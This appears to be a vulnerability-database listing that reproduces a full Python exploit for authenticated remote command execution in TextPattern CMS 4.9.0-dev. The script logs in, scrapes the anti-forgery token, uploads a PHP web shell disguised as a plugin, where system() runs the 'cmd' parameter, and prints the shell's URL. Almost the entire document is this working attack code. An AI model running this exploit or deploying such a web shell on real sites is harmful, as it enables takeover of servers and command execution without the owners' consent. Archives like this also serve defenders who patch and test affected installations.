TextPattern CMS 4.9.0-dev Remote Command Execution

🗓️ 04 Jul 2021 00:00:00Reported by Mevlut AkcamType

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TextPattern CMS 4.9.0-dev Remote Command Execution (RCE

`# Exploit Title: TextPattern CMS 4.9.0-dev - Remote Command Execution (RCE) (Authenticated)  
# Date: 07/04/2021  
# Exploit Author: Mevlüt Akçam  
# Software Link: https://github.com/textpattern/textpattern  
# Vendor Homepage: https://textpattern.com/  
# Version: 4.9.0-dev  
# Tested on: 20.04.1-Ubuntu  
  
#!/usr/bin/python3  
  
  
import requests  
from bs4 import BeautifulSoup as bs4  
import json  
import string  
import random  
import argparse  
  
  
# Colors  
RED="\033[91m"  
GREEN="\033[92m"  
RESET="\033[0m"  
  
parser = argparse.ArgumentParser()  
parser.add_argument('-t', '--url', required=True, action='store', help='Target url')  
parser.add_argument('-u', '--user', required=True, action='store', help='Username')  
parser.add_argument('-p', '--password', required=True, action='store', help='Password')  
args = parser.parse_args()  
  
URL=args.url  
uname=args.user  
passwd=args.password  
  
session=requests.Session()  
  
def login(uname,passwd):  
data={'lang':'en','p_userid':uname,'p_password':passwd}  
r_login=session.post(URL+"/textpattern/index.php",data=data, verify=False)  
  
if r_login.status_code == 200:  
print(GREEN,f"[+] Login successful , your cookie : {session.cookies['txp_login']}",RESET)  
else:  
print(RED,f"[-] Login failed",RESET)  
exit()  
  
def get_token():  
print(GREEN,f"[+] Getting token ",RESET)  
r_token=session.get(URL+"/textpattern/index.php?event=plugin")  
soup = bs4(r_token.text, 'html.parser')  
textpattern = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-1]  
textpattern = json.loads(textpattern)  
return textpattern['_txp_token']  
  
def upload():  
file_name=''.join(random.choice(string.ascii_lowercase) for _ in range(10))  
file={  
'theplugin':(  
file_name+".php",  
"""  
<html>  
<body>  
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">  
<input type="TEXT" name="cmd" autofocus>  
<input type="SUBMIT" value="Execute">  
</form>  
<pre>  
<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>  
</pre>  
</body>  
</html>  
<!-- """+file_name+" -->"  
),# The file_name is used to verify that the file has been uploaded.  
'install_new':(None,'Upload'),  
'event':(None,'plugin'),  
'step':(None,'plugin_upload'),  
'_txp_token':(None,get_token()),  
}  
  
r_upload=session.post(URL+"/textpattern/index.php",verify=False,files=file)  
  
if file_name in r_upload.text:  
print(GREEN,f"[+] Shell uploaded",RESET)  
print(GREEN,f"[+] Webshell url : {URL}/textpattern/tmp/{file_name}.php",RESET)  
else:  
print(RED,f"[-] Shell failed to load",RESET)  
print(RED,f"[-] Bye",RESET)  
exit()  
  
  
if __name__=="__main__":  
login(uname,passwd)  
upload()  
print(GREEN,f"[+] Bye",RESET)  
  
`

04 Jul 2021 00:00Current

7.4High risk

Vulners AI Score7.4